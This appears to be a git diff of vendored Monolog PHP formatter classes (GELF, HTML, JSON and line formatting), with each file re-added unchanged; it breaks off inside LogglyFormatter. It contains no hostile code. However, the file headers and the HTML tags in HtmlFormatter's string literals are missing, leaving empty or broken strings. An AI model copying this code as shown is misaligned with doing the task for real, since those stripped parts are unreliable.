a/vendor/monolog/monolog/src/Monolog/Formatter/FormatterInterface.php b/vendor/monolog/monolog/src/Monolog/Formatter/FormatterInterface.php index b95ee8e6ff..b5de751112 100644 --- a/vendor/monolog/monolog/src/Monolog/Formatter/FormatterInterface.php +++ b/vendor/monolog/monolog/src/Monolog/Formatter/FormatterInterface.php @@ -1,36 +1,36 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Formatter; - -/** - * Interface for formatters - * - * @author Jordi Boggiano - */ -interface FormatterInterface -{ - /** - * Formats a log record. - * - * @param array $record A record to format - * @return mixed The formatted record - */ - public function format(array $record); - - /** - * Formats a set of log records. - * - * @param array $records A set of records to format - * @return mixed The formatted set of records - */ - public function formatBatch(array $records); -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Formatter; + +/** + * Interface for formatters + * + * @author Jordi Boggiano + */ +interface FormatterInterface +{ + /** + * Formats a log record. + * + * @param array $record A record to format + * @return mixed The formatted record + */ + public function format(array $record); + + /** + * Formats a set of log records. + * + * @param array $records A set of records to format + * @return mixed The formatted set of records + */ + public function formatBatch(array $records); +} diff --git a/vendor/monolog/monolog/src/Monolog/Formatter/GelfMessageFormatter.php b/vendor/monolog/monolog/src/Monolog/Formatter/GelfMessageFormatter.php index c58424a856..2c1b0e86c5 100644 --- a/vendor/monolog/monolog/src/Monolog/Formatter/GelfMessageFormatter.php +++ b/vendor/monolog/monolog/src/Monolog/Formatter/GelfMessageFormatter.php @@ -1,138 +1,138 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Formatter; - -use Monolog\Logger; -use Gelf\Message; - -/** - * Serializes a log message to GELF - * @see http://www.graylog2.org/about/gelf - * - * @author Matt Lehner - */ -class GelfMessageFormatter extends NormalizerFormatter -{ - const DEFAULT_MAX_LENGTH = 32766; - - /** - * @var string the name of the system for the Gelf log message - */ - protected $systemName; - - /** - * @var string a prefix for 'extra' fields from the Monolog record (optional) - */ - protected $extraPrefix; - - /** - * @var string a prefix for 'context' fields from the Monolog record (optional) - */ - protected $contextPrefix; - - /** - * @var int max length per field - */ - protected $maxLength; - - /** - * Translates Monolog log levels to Graylog2 log priorities. - */ - private $logLevels = array( - Logger::DEBUG => 7, - Logger::INFO => 6, - Logger::NOTICE => 5, - Logger::WARNING => 4, - Logger::ERROR => 3, - Logger::CRITICAL => 2, - Logger::ALERT => 1, - Logger::EMERGENCY => 0, - ); - - public function __construct($systemName = null, $extraPrefix = null, $contextPrefix = 'ctxt_', $maxLength = null) - { - parent::__construct('U.u'); - - $this->systemName = $systemName ?: gethostname(); - - $this->extraPrefix = $extraPrefix; - $this->contextPrefix = $contextPrefix; - $this->maxLength = is_null($maxLength) ? self::DEFAULT_MAX_LENGTH : $maxLength; - } - - /** - * {@inheritdoc} - */ - public function format(array $record) - { - $record = parent::format($record); - - if (!isset($record['datetime'], $record['message'], $record['level'])) { - throw new \InvalidArgumentException('The record should at least contain datetime, message and level keys, '.var_export($record, true).' given'); - } - - $message = new Message(); - $message - ->setTimestamp($record['datetime']) - ->setShortMessage((string) $record['message']) - ->setHost($this->systemName) - ->setLevel($this->logLevels[$record['level']]); - - // message length + system name length + 200 for padding / metadata - $len = 200 + strlen((string) $record['message']) + strlen($this->systemName); - - if ($len > $this->maxLength) { - $message->setShortMessage(substr($record['message'], 0, $this->maxLength)); - } - - if (isset($record['channel'])) { - $message->setFacility($record['channel']); - } - if (isset($record['extra']['line'])) { - $message->setLine($record['extra']['line']); - unset($record['extra']['line']); - } - if (isset($record['extra']['file'])) { - $message->setFile($record['extra']['file']); - unset($record['extra']['file']); - } - - foreach ($record['extra'] as $key => $val) { - $val = is_scalar($val) || null === $val ? $val : $this->toJson($val); - $len = strlen($this->extraPrefix . $key . $val); - if ($len > $this->maxLength) { - $message->setAdditional($this->extraPrefix . $key, substr($val, 0, $this->maxLength)); - break; - } - $message->setAdditional($this->extraPrefix . $key, $val); - } - - foreach ($record['context'] as $key => $val) { - $val = is_scalar($val) || null === $val ? $val : $this->toJson($val); - $len = strlen($this->contextPrefix . $key . $val); - if ($len > $this->maxLength) { - $message->setAdditional($this->contextPrefix . $key, substr($val, 0, $this->maxLength)); - break; - } - $message->setAdditional($this->contextPrefix . $key, $val); - } - - if (null === $message->getFile() && isset($record['context']['exception']['file'])) { - if (preg_match("/^(.+):([0-9]+)$/", $record['context']['exception']['file'], $matches)) { - $message->setFile($matches[1]); - $message->setLine($matches[2]); - } - } - - return $message; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Formatter; + +use Monolog\Logger; +use Gelf\Message; + +/** + * Serializes a log message to GELF + * @see http://www.graylog2.org/about/gelf + * + * @author Matt Lehner + */ +class GelfMessageFormatter extends NormalizerFormatter +{ + const DEFAULT_MAX_LENGTH = 32766; + + /** + * @var string the name of the system for the Gelf log message + */ + protected $systemName; + + /** + * @var string a prefix for 'extra' fields from the Monolog record (optional) + */ + protected $extraPrefix; + + /** + * @var string a prefix for 'context' fields from the Monolog record (optional) + */ + protected $contextPrefix; + + /** + * @var int max length per field + */ + protected $maxLength; + + /** + * Translates Monolog log levels to Graylog2 log priorities. + */ + private $logLevels = array( + Logger::DEBUG => 7, + Logger::INFO => 6, + Logger::NOTICE => 5, + Logger::WARNING => 4, + Logger::ERROR => 3, + Logger::CRITICAL => 2, + Logger::ALERT => 1, + Logger::EMERGENCY => 0, + ); + + public function __construct($systemName = null, $extraPrefix = null, $contextPrefix = 'ctxt_', $maxLength = null) + { + parent::__construct('U.u'); + + $this->systemName = $systemName ?: gethostname(); + + $this->extraPrefix = $extraPrefix; + $this->contextPrefix = $contextPrefix; + $this->maxLength = is_null($maxLength) ? self::DEFAULT_MAX_LENGTH : $maxLength; + } + + /** + * {@inheritdoc} + */ + public function format(array $record) + { + $record = parent::format($record); + + if (!isset($record['datetime'], $record['message'], $record['level'])) { + throw new \InvalidArgumentException('The record should at least contain datetime, message and level keys, '.var_export($record, true).' given'); + } + + $message = new Message(); + $message + ->setTimestamp($record['datetime']) + ->setShortMessage((string) $record['message']) + ->setHost($this->systemName) + ->setLevel($this->logLevels[$record['level']]); + + // message length + system name length + 200 for padding / metadata + $len = 200 + strlen((string) $record['message']) + strlen($this->systemName); + + if ($len > $this->maxLength) { + $message->setShortMessage(substr($record['message'], 0, $this->maxLength)); + } + + if (isset($record['channel'])) { + $message->setFacility($record['channel']); + } + if (isset($record['extra']['line'])) { + $message->setLine($record['extra']['line']); + unset($record['extra']['line']); + } + if (isset($record['extra']['file'])) { + $message->setFile($record['extra']['file']); + unset($record['extra']['file']); + } + + foreach ($record['extra'] as $key => $val) { + $val = is_scalar($val) || null === $val ? $val : $this->toJson($val); + $len = strlen($this->extraPrefix . $key . $val); + if ($len > $this->maxLength) { + $message->setAdditional($this->extraPrefix . $key, substr($val, 0, $this->maxLength)); + break; + } + $message->setAdditional($this->extraPrefix . $key, $val); + } + + foreach ($record['context'] as $key => $val) { + $val = is_scalar($val) || null === $val ? $val : $this->toJson($val); + $len = strlen($this->contextPrefix . $key . $val); + if ($len > $this->maxLength) { + $message->setAdditional($this->contextPrefix . $key, substr($val, 0, $this->maxLength)); + break; + } + $message->setAdditional($this->contextPrefix . $key, $val); + } + + if (null === $message->getFile() && isset($record['context']['exception']['file'])) { + if (preg_match("/^(.+):([0-9]+)$/", $record['context']['exception']['file'], $matches)) { + $message->setFile($matches[1]); + $message->setLine($matches[2]); + } + } + + return $message; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Formatter/HtmlFormatter.php b/vendor/monolog/monolog/src/Monolog/Formatter/HtmlFormatter.php index c9ba7a0775..9e8d2d0188 100644 --- a/vendor/monolog/monolog/src/Monolog/Formatter/HtmlFormatter.php +++ b/vendor/monolog/monolog/src/Monolog/Formatter/HtmlFormatter.php @@ -1,142 +1,142 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Formatter; - -use Monolog\Logger; -use Monolog\Utils; - -/** - * Formats incoming records into an HTML table - * - * This is especially useful for html email logging - * - * @author Tiago Brito - */ -class HtmlFormatter extends NormalizerFormatter -{ - /** - * Translates Monolog log levels to html color priorities. - */ - protected $logLevels = array( - Logger::DEBUG => '#cccccc', - Logger::INFO => '#468847', - Logger::NOTICE => '#3a87ad', - Logger::WARNING => '#c09853', - Logger::ERROR => '#f0ad4e', - Logger::CRITICAL => '#FF7708', - Logger::ALERT => '#C12A19', - Logger::EMERGENCY => '#000000', - ); - - /** - * @param string $dateFormat The format of the timestamp: one supported by DateTime::format - */ - public function __construct($dateFormat = null) - { - parent::__construct($dateFormat); - } - - /** - * Creates an HTML table row - * - * @param string $th Row header content - * @param string $td Row standard cell content - * @param bool $escapeTd false if td content must not be html escaped - * @return string - */ - protected function addRow($th, $td = ' ', $escapeTd = true) - { - $th = htmlspecialchars($th, ENT_NOQUOTES, 'UTF-8'); - if ($escapeTd) { - $td = '
                              '.htmlspecialchars($td, ENT_NOQUOTES, 'UTF-8').'
                              '; - } - - return "\n$th:\n".$td."\n"; - } - - /** - * Create a HTML h1 tag - * - * @param string $title Text to be in the h1 - * @param int $level Error level - * @return string - */ - protected function addTitle($title, $level) - { - $title = htmlspecialchars($title, ENT_NOQUOTES, 'UTF-8'); - - return '

                              '.$title.'

                              '; - } - - /** - * Formats a log record. - * - * @param array $record A record to format - * @return mixed The formatted record - */ - public function format(array $record) - { - $output = $this->addTitle($record['level_name'], $record['level']); - $output .= ''; - - $output .= $this->addRow('Message', (string) $record['message']); - $output .= $this->addRow('Time', $record['datetime']->format($this->dateFormat)); - $output .= $this->addRow('Channel', $record['channel']); - if ($record['context']) { - $embeddedTable = '
                              '; - foreach ($record['context'] as $key => $value) { - $embeddedTable .= $this->addRow($key, $this->convertToString($value)); - } - $embeddedTable .= '
                              '; - $output .= $this->addRow('Context', $embeddedTable, false); - } - if ($record['extra']) { - $embeddedTable = ''; - foreach ($record['extra'] as $key => $value) { - $embeddedTable .= $this->addRow($key, $this->convertToString($value)); - } - $embeddedTable .= '
                              '; - $output .= $this->addRow('Extra', $embeddedTable, false); - } - - return $output.''; - } - - /** - * Formats a set of log records. - * - * @param array $records A set of records to format - * @return mixed The formatted set of records - */ - public function formatBatch(array $records) - { - $message = ''; - foreach ($records as $record) { - $message .= $this->format($record); - } - - return $message; - } - - protected function convertToString($data) - { - if (null === $data || is_scalar($data)) { - return (string) $data; - } - - $data = $this->normalize($data); - if (version_compare(PHP_VERSION, '5.4.0', '>=')) { - return Utils::jsonEncode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE, true); - } - - return str_replace('\\/', '/', Utils::jsonEncode($data, null, true)); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Formatter; + +use Monolog\Logger; +use Monolog\Utils; + +/** + * Formats incoming records into an HTML table + * + * This is especially useful for html email logging + * + * @author Tiago Brito + */ +class HtmlFormatter extends NormalizerFormatter +{ + /** + * Translates Monolog log levels to html color priorities. + */ + protected $logLevels = array( + Logger::DEBUG => '#cccccc', + Logger::INFO => '#468847', + Logger::NOTICE => '#3a87ad', + Logger::WARNING => '#c09853', + Logger::ERROR => '#f0ad4e', + Logger::CRITICAL => '#FF7708', + Logger::ALERT => '#C12A19', + Logger::EMERGENCY => '#000000', + ); + + /** + * @param string $dateFormat The format of the timestamp: one supported by DateTime::format + */ + public function __construct($dateFormat = null) + { + parent::__construct($dateFormat); + } + + /** + * Creates an HTML table row + * + * @param string $th Row header content + * @param string $td Row standard cell content + * @param bool $escapeTd false if td content must not be html escaped + * @return string + */ + protected function addRow($th, $td = ' ', $escapeTd = true) + { + $th = htmlspecialchars($th, ENT_NOQUOTES, 'UTF-8'); + if ($escapeTd) { + $td = '
                              '.htmlspecialchars($td, ENT_NOQUOTES, 'UTF-8').'
                              '; + } + + return "\n$th:\n".$td."\n"; + } + + /** + * Create a HTML h1 tag + * + * @param string $title Text to be in the h1 + * @param int $level Error level + * @return string + */ + protected function addTitle($title, $level) + { + $title = htmlspecialchars($title, ENT_NOQUOTES, 'UTF-8'); + + return '

                              '.$title.'

                              '; + } + + /** + * Formats a log record. + * + * @param array $record A record to format + * @return mixed The formatted record + */ + public function format(array $record) + { + $output = $this->addTitle($record['level_name'], $record['level']); + $output .= ''; + + $output .= $this->addRow('Message', (string) $record['message']); + $output .= $this->addRow('Time', $record['datetime']->format($this->dateFormat)); + $output .= $this->addRow('Channel', $record['channel']); + if ($record['context']) { + $embeddedTable = '
                              '; + foreach ($record['context'] as $key => $value) { + $embeddedTable .= $this->addRow($key, $this->convertToString($value)); + } + $embeddedTable .= '
                              '; + $output .= $this->addRow('Context', $embeddedTable, false); + } + if ($record['extra']) { + $embeddedTable = ''; + foreach ($record['extra'] as $key => $value) { + $embeddedTable .= $this->addRow($key, $this->convertToString($value)); + } + $embeddedTable .= '
                              '; + $output .= $this->addRow('Extra', $embeddedTable, false); + } + + return $output.''; + } + + /** + * Formats a set of log records. + * + * @param array $records A set of records to format + * @return mixed The formatted set of records + */ + public function formatBatch(array $records) + { + $message = ''; + foreach ($records as $record) { + $message .= $this->format($record); + } + + return $message; + } + + protected function convertToString($data) + { + if (null === $data || is_scalar($data)) { + return (string) $data; + } + + $data = $this->normalize($data); + if (version_compare(PHP_VERSION, '5.4.0', '>=')) { + return Utils::jsonEncode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE, true); + } + + return str_replace('\\/', '/', Utils::jsonEncode($data, null, true)); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Formatter/JsonFormatter.php b/vendor/monolog/monolog/src/Monolog/Formatter/JsonFormatter.php index 79a4883310..86966b079b 100644 --- a/vendor/monolog/monolog/src/Monolog/Formatter/JsonFormatter.php +++ b/vendor/monolog/monolog/src/Monolog/Formatter/JsonFormatter.php @@ -1,212 +1,212 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Formatter; - -use Exception; -use Monolog\Utils; -use Throwable; - -/** - * Encodes whatever record data is passed to it as json - * - * This can be useful to log to databases or remote APIs - * - * @author Jordi Boggiano - */ -class JsonFormatter extends NormalizerFormatter -{ - const BATCH_MODE_JSON = 1; - const BATCH_MODE_NEWLINES = 2; - - protected $batchMode; - protected $appendNewline; - - /** - * @var bool - */ - protected $includeStacktraces = false; - - /** - * @param int $batchMode - * @param bool $appendNewline - */ - public function __construct($batchMode = self::BATCH_MODE_JSON, $appendNewline = true) - { - $this->batchMode = $batchMode; - $this->appendNewline = $appendNewline; - } - - /** - * The batch mode option configures the formatting style for - * multiple records. By default, multiple records will be - * formatted as a JSON-encoded array. However, for - * compatibility with some API endpoints, alternative styles - * are available. - * - * @return int - */ - public function getBatchMode() - { - return $this->batchMode; - } - - /** - * True if newlines are appended to every formatted record - * - * @return bool - */ - public function isAppendingNewlines() - { - return $this->appendNewline; - } - - /** - * {@inheritdoc} - */ - public function format(array $record) - { - return $this->toJson($this->normalize($record), true) . ($this->appendNewline ? "\n" : ''); - } - - /** - * {@inheritdoc} - */ - public function formatBatch(array $records) - { - switch ($this->batchMode) { - case static::BATCH_MODE_NEWLINES: - return $this->formatBatchNewlines($records); - - case static::BATCH_MODE_JSON: - default: - return $this->formatBatchJson($records); - } - } - - /** - * @param bool $include - */ - public function includeStacktraces($include = true) - { - $this->includeStacktraces = $include; - } - - /** - * Return a JSON-encoded array of records. - * - * @param array $records - * @return string - */ - protected function formatBatchJson(array $records) - { - return $this->toJson($this->normalize($records), true); - } - - /** - * Use new lines to separate records instead of a - * JSON-encoded array. - * - * @param array $records - * @return string - */ - protected function formatBatchNewlines(array $records) - { - $instance = $this; - - $oldNewline = $this->appendNewline; - $this->appendNewline = false; - array_walk($records, function (&$value, $key) use ($instance) { - $value = $instance->format($value); - }); - $this->appendNewline = $oldNewline; - - return implode("\n", $records); - } - - /** - * Normalizes given $data. - * - * @param mixed $data - * - * @return mixed - */ - protected function normalize($data, $depth = 0) - { - if ($depth > 9) { - return 'Over 9 levels deep, aborting normalization'; - } - - if (is_array($data)) { - $normalized = array(); - - $count = 1; - foreach ($data as $key => $value) { - if ($count++ > 1000) { - $normalized['...'] = 'Over 1000 items ('.count($data).' total), aborting normalization'; - break; - } - - $normalized[$key] = $this->normalize($value, $depth+1); - } - - return $normalized; - } - - if ($data instanceof Exception || $data instanceof Throwable) { - return $this->normalizeException($data); - } - - if (is_resource($data)) { - return parent::normalize($data); - } - - return $data; - } - - /** - * Normalizes given exception with or without its own stack trace based on - * `includeStacktraces` property. - * - * @param Exception|Throwable $e - * - * @return array - */ - protected function normalizeException($e) - { - // TODO 2.0 only check for Throwable - if (!$e instanceof Exception && !$e instanceof Throwable) { - throw new \InvalidArgumentException('Exception/Throwable expected, got '.gettype($e).' / '.Utils::getClass($e)); - } - - $data = array( - 'class' => Utils::getClass($e), - 'message' => $e->getMessage(), - 'code' => (int) $e->getCode(), - 'file' => $e->getFile().':'.$e->getLine(), - ); - - if ($this->includeStacktraces) { - $trace = $e->getTrace(); - foreach ($trace as $frame) { - if (isset($frame['file'])) { - $data['trace'][] = $frame['file'].':'.$frame['line']; - } - } - } - - if ($previous = $e->getPrevious()) { - $data['previous'] = $this->normalizeException($previous); - } - - return $data; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Formatter; + +use Exception; +use Monolog\Utils; +use Throwable; + +/** + * Encodes whatever record data is passed to it as json + * + * This can be useful to log to databases or remote APIs + * + * @author Jordi Boggiano + */ +class JsonFormatter extends NormalizerFormatter +{ + const BATCH_MODE_JSON = 1; + const BATCH_MODE_NEWLINES = 2; + + protected $batchMode; + protected $appendNewline; + + /** + * @var bool + */ + protected $includeStacktraces = false; + + /** + * @param int $batchMode + * @param bool $appendNewline + */ + public function __construct($batchMode = self::BATCH_MODE_JSON, $appendNewline = true) + { + $this->batchMode = $batchMode; + $this->appendNewline = $appendNewline; + } + + /** + * The batch mode option configures the formatting style for + * multiple records. By default, multiple records will be + * formatted as a JSON-encoded array. However, for + * compatibility with some API endpoints, alternative styles + * are available. + * + * @return int + */ + public function getBatchMode() + { + return $this->batchMode; + } + + /** + * True if newlines are appended to every formatted record + * + * @return bool + */ + public function isAppendingNewlines() + { + return $this->appendNewline; + } + + /** + * {@inheritdoc} + */ + public function format(array $record) + { + return $this->toJson($this->normalize($record), true) . ($this->appendNewline ? "\n" : ''); + } + + /** + * {@inheritdoc} + */ + public function formatBatch(array $records) + { + switch ($this->batchMode) { + case static::BATCH_MODE_NEWLINES: + return $this->formatBatchNewlines($records); + + case static::BATCH_MODE_JSON: + default: + return $this->formatBatchJson($records); + } + } + + /** + * @param bool $include + */ + public function includeStacktraces($include = true) + { + $this->includeStacktraces = $include; + } + + /** + * Return a JSON-encoded array of records. + * + * @param array $records + * @return string + */ + protected function formatBatchJson(array $records) + { + return $this->toJson($this->normalize($records), true); + } + + /** + * Use new lines to separate records instead of a + * JSON-encoded array. + * + * @param array $records + * @return string + */ + protected function formatBatchNewlines(array $records) + { + $instance = $this; + + $oldNewline = $this->appendNewline; + $this->appendNewline = false; + array_walk($records, function (&$value, $key) use ($instance) { + $value = $instance->format($value); + }); + $this->appendNewline = $oldNewline; + + return implode("\n", $records); + } + + /** + * Normalizes given $data. + * + * @param mixed $data + * + * @return mixed + */ + protected function normalize($data, $depth = 0) + { + if ($depth > 9) { + return 'Over 9 levels deep, aborting normalization'; + } + + if (is_array($data)) { + $normalized = array(); + + $count = 1; + foreach ($data as $key => $value) { + if ($count++ > 1000) { + $normalized['...'] = 'Over 1000 items ('.count($data).' total), aborting normalization'; + break; + } + + $normalized[$key] = $this->normalize($value, $depth+1); + } + + return $normalized; + } + + if ($data instanceof Exception || $data instanceof Throwable) { + return $this->normalizeException($data); + } + + if (is_resource($data)) { + return parent::normalize($data); + } + + return $data; + } + + /** + * Normalizes given exception with or without its own stack trace based on + * `includeStacktraces` property. + * + * @param Exception|Throwable $e + * + * @return array + */ + protected function normalizeException($e) + { + // TODO 2.0 only check for Throwable + if (!$e instanceof Exception && !$e instanceof Throwable) { + throw new \InvalidArgumentException('Exception/Throwable expected, got '.gettype($e).' / '.Utils::getClass($e)); + } + + $data = array( + 'class' => Utils::getClass($e), + 'message' => $e->getMessage(), + 'code' => (int) $e->getCode(), + 'file' => $e->getFile().':'.$e->getLine(), + ); + + if ($this->includeStacktraces) { + $trace = $e->getTrace(); + foreach ($trace as $frame) { + if (isset($frame['file'])) { + $data['trace'][] = $frame['file'].':'.$frame['line']; + } + } + } + + if ($previous = $e->getPrevious()) { + $data['previous'] = $this->normalizeException($previous); + } + + return $data; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Formatter/LineFormatter.php b/vendor/monolog/monolog/src/Monolog/Formatter/LineFormatter.php index e84bdc838d..acc1fd38f3 100644 --- a/vendor/monolog/monolog/src/Monolog/Formatter/LineFormatter.php +++ b/vendor/monolog/monolog/src/Monolog/Formatter/LineFormatter.php @@ -1,181 +1,181 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Formatter; - -use Monolog\Utils; - -/** - * Formats incoming records into a one-line string - * - * This is especially useful for logging to files - * - * @author Jordi Boggiano - * @author Christophe Coevoet - */ -class LineFormatter extends NormalizerFormatter -{ - const SIMPLE_FORMAT = "[%datetime%] %channel%.%level_name%: %message% %context% %extra%\n"; - - protected $format; - protected $allowInlineLineBreaks; - protected $ignoreEmptyContextAndExtra; - protected $includeStacktraces; - - /** - * @param string $format The format of the message - * @param string $dateFormat The format of the timestamp: one supported by DateTime::format - * @param bool $allowInlineLineBreaks Whether to allow inline line breaks in log entries - * @param bool $ignoreEmptyContextAndExtra - */ - public function __construct($format = null, $dateFormat = null, $allowInlineLineBreaks = false, $ignoreEmptyContextAndExtra = false) - { - $this->format = $format ?: static::SIMPLE_FORMAT; - $this->allowInlineLineBreaks = $allowInlineLineBreaks; - $this->ignoreEmptyContextAndExtra = $ignoreEmptyContextAndExtra; - parent::__construct($dateFormat); - } - - public function includeStacktraces($include = true) - { - $this->includeStacktraces = $include; - if ($this->includeStacktraces) { - $this->allowInlineLineBreaks = true; - } - } - - public function allowInlineLineBreaks($allow = true) - { - $this->allowInlineLineBreaks = $allow; - } - - public function ignoreEmptyContextAndExtra($ignore = true) - { - $this->ignoreEmptyContextAndExtra = $ignore; - } - - /** - * {@inheritdoc} - */ - public function format(array $record) - { - $vars = parent::format($record); - - $output = $this->format; - - foreach ($vars['extra'] as $var => $val) { - if (false !== strpos($output, '%extra.'.$var.'%')) { - $output = str_replace('%extra.'.$var.'%', $this->stringify($val), $output); - unset($vars['extra'][$var]); - } - } - - - foreach ($vars['context'] as $var => $val) { - if (false !== strpos($output, '%context.'.$var.'%')) { - $output = str_replace('%context.'.$var.'%', $this->stringify($val), $output); - unset($vars['context'][$var]); - } - } - - if ($this->ignoreEmptyContextAndExtra) { - if (empty($vars['context'])) { - unset($vars['context']); - $output = str_replace('%context%', '', $output); - } - - if (empty($vars['extra'])) { - unset($vars['extra']); - $output = str_replace('%extra%', '', $output); - } - } - - foreach ($vars as $var => $val) { - if (false !== strpos($output, '%'.$var.'%')) { - $output = str_replace('%'.$var.'%', $this->stringify($val), $output); - } - } - - // remove leftover %extra.xxx% and %context.xxx% if any - if (false !== strpos($output, '%')) { - $output = preg_replace('/%(?:extra|context)\..+?%/', '', $output); - } - - return $output; - } - - public function formatBatch(array $records) - { - $message = ''; - foreach ($records as $record) { - $message .= $this->format($record); - } - - return $message; - } - - public function stringify($value) - { - return $this->replaceNewlines($this->convertToString($value)); - } - - protected function normalizeException($e) - { - // TODO 2.0 only check for Throwable - if (!$e instanceof \Exception && !$e instanceof \Throwable) { - throw new \InvalidArgumentException('Exception/Throwable expected, got '.gettype($e).' / '.Utils::getClass($e)); - } - - $previousText = ''; - if ($previous = $e->getPrevious()) { - do { - $previousText .= ', '.Utils::getClass($previous).'(code: '.$previous->getCode().'): '.$previous->getMessage().' at '.$previous->getFile().':'.$previous->getLine(); - } while ($previous = $previous->getPrevious()); - } - - $str = '[object] ('.Utils::getClass($e).'(code: '.$e->getCode().'): '.$e->getMessage().' at '.$e->getFile().':'.$e->getLine().$previousText.')'; - if ($this->includeStacktraces) { - $str .= "\n[stacktrace]\n".$e->getTraceAsString()."\n"; - } - - return $str; - } - - protected function convertToString($data) - { - if (null === $data || is_bool($data)) { - return var_export($data, true); - } - - if (is_scalar($data)) { - return (string) $data; - } - - if (version_compare(PHP_VERSION, '5.4.0', '>=')) { - return $this->toJson($data, true); - } - - return str_replace('\\/', '/', $this->toJson($data, true)); - } - - protected function replaceNewlines($str) - { - if ($this->allowInlineLineBreaks) { - if (0 === strpos($str, '{')) { - return str_replace(array('\r', '\n'), array("\r", "\n"), $str); - } - - return $str; - } - - return str_replace(array("\r\n", "\r", "\n"), ' ', $str); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Formatter; + +use Monolog\Utils; + +/** + * Formats incoming records into a one-line string + * + * This is especially useful for logging to files + * + * @author Jordi Boggiano + * @author Christophe Coevoet + */ +class LineFormatter extends NormalizerFormatter +{ + const SIMPLE_FORMAT = "[%datetime%] %channel%.%level_name%: %message% %context% %extra%\n"; + + protected $format; + protected $allowInlineLineBreaks; + protected $ignoreEmptyContextAndExtra; + protected $includeStacktraces; + + /** + * @param string $format The format of the message + * @param string $dateFormat The format of the timestamp: one supported by DateTime::format + * @param bool $allowInlineLineBreaks Whether to allow inline line breaks in log entries + * @param bool $ignoreEmptyContextAndExtra + */ + public function __construct($format = null, $dateFormat = null, $allowInlineLineBreaks = false, $ignoreEmptyContextAndExtra = false) + { + $this->format = $format ?: static::SIMPLE_FORMAT; + $this->allowInlineLineBreaks = $allowInlineLineBreaks; + $this->ignoreEmptyContextAndExtra = $ignoreEmptyContextAndExtra; + parent::__construct($dateFormat); + } + + public function includeStacktraces($include = true) + { + $this->includeStacktraces = $include; + if ($this->includeStacktraces) { + $this->allowInlineLineBreaks = true; + } + } + + public function allowInlineLineBreaks($allow = true) + { + $this->allowInlineLineBreaks = $allow; + } + + public function ignoreEmptyContextAndExtra($ignore = true) + { + $this->ignoreEmptyContextAndExtra = $ignore; + } + + /** + * {@inheritdoc} + */ + public function format(array $record) + { + $vars = parent::format($record); + + $output = $this->format; + + foreach ($vars['extra'] as $var => $val) { + if (false !== strpos($output, '%extra.'.$var.'%')) { + $output = str_replace('%extra.'.$var.'%', $this->stringify($val), $output); + unset($vars['extra'][$var]); + } + } + + + foreach ($vars['context'] as $var => $val) { + if (false !== strpos($output, '%context.'.$var.'%')) { + $output = str_replace('%context.'.$var.'%', $this->stringify($val), $output); + unset($vars['context'][$var]); + } + } + + if ($this->ignoreEmptyContextAndExtra) { + if (empty($vars['context'])) { + unset($vars['context']); + $output = str_replace('%context%', '', $output); + } + + if (empty($vars['extra'])) { + unset($vars['extra']); + $output = str_replace('%extra%', '', $output); + } + } + + foreach ($vars as $var => $val) { + if (false !== strpos($output, '%'.$var.'%')) { + $output = str_replace('%'.$var.'%', $this->stringify($val), $output); + } + } + + // remove leftover %extra.xxx% and %context.xxx% if any + if (false !== strpos($output, '%')) { + $output = preg_replace('/%(?:extra|context)\..+?%/', '', $output); + } + + return $output; + } + + public function formatBatch(array $records) + { + $message = ''; + foreach ($records as $record) { + $message .= $this->format($record); + } + + return $message; + } + + public function stringify($value) + { + return $this->replaceNewlines($this->convertToString($value)); + } + + protected function normalizeException($e) + { + // TODO 2.0 only check for Throwable + if (!$e instanceof \Exception && !$e instanceof \Throwable) { + throw new \InvalidArgumentException('Exception/Throwable expected, got '.gettype($e).' / '.Utils::getClass($e)); + } + + $previousText = ''; + if ($previous = $e->getPrevious()) { + do { + $previousText .= ', '.Utils::getClass($previous).'(code: '.$previous->getCode().'): '.$previous->getMessage().' at '.$previous->getFile().':'.$previous->getLine(); + } while ($previous = $previous->getPrevious()); + } + + $str = '[object] ('.Utils::getClass($e).'(code: '.$e->getCode().'): '.$e->getMessage().' at '.$e->getFile().':'.$e->getLine().$previousText.')'; + if ($this->includeStacktraces) { + $str .= "\n[stacktrace]\n".$e->getTraceAsString()."\n"; + } + + return $str; + } + + protected function convertToString($data) + { + if (null === $data || is_bool($data)) { + return var_export($data, true); + } + + if (is_scalar($data)) { + return (string) $data; + } + + if (version_compare(PHP_VERSION, '5.4.0', '>=')) { + return $this->toJson($data, true); + } + + return str_replace('\\/', '/', $this->toJson($data, true)); + } + + protected function replaceNewlines($str) + { + if ($this->allowInlineLineBreaks) { + if (0 === strpos($str, '{')) { + return str_replace(array('\r', '\n'), array("\r", "\n"), $str); + } + + return $str; + } + + return str_replace(array("\r\n", "\r", "\n"), ' ', $str); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Formatter/LogglyFormatter.php b/vendor/monolog/monolog/src/Monolog/Formatter/LogglyFormatter.php index 0191a3b671..401859bba6 100644 --- a/vendor/monolog/monolog/src/Monolog/Formatter/LogglyFormatter.php +++ b/vendor/monolog/monolog/src/Monolog/Formatter/LogglyFormatter.php @@ -1,47 +1,47 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Formatter; - -/** - * Encodes message information into JSON in a format compatible with Loggly. - * - * @author Adam Pancutt - */ -class LogglyFormatter extends JsonFormatter -{ - /** - * Overrides the default batch mode to new lines for compatibility with the - * Loggly bulk API. - * - 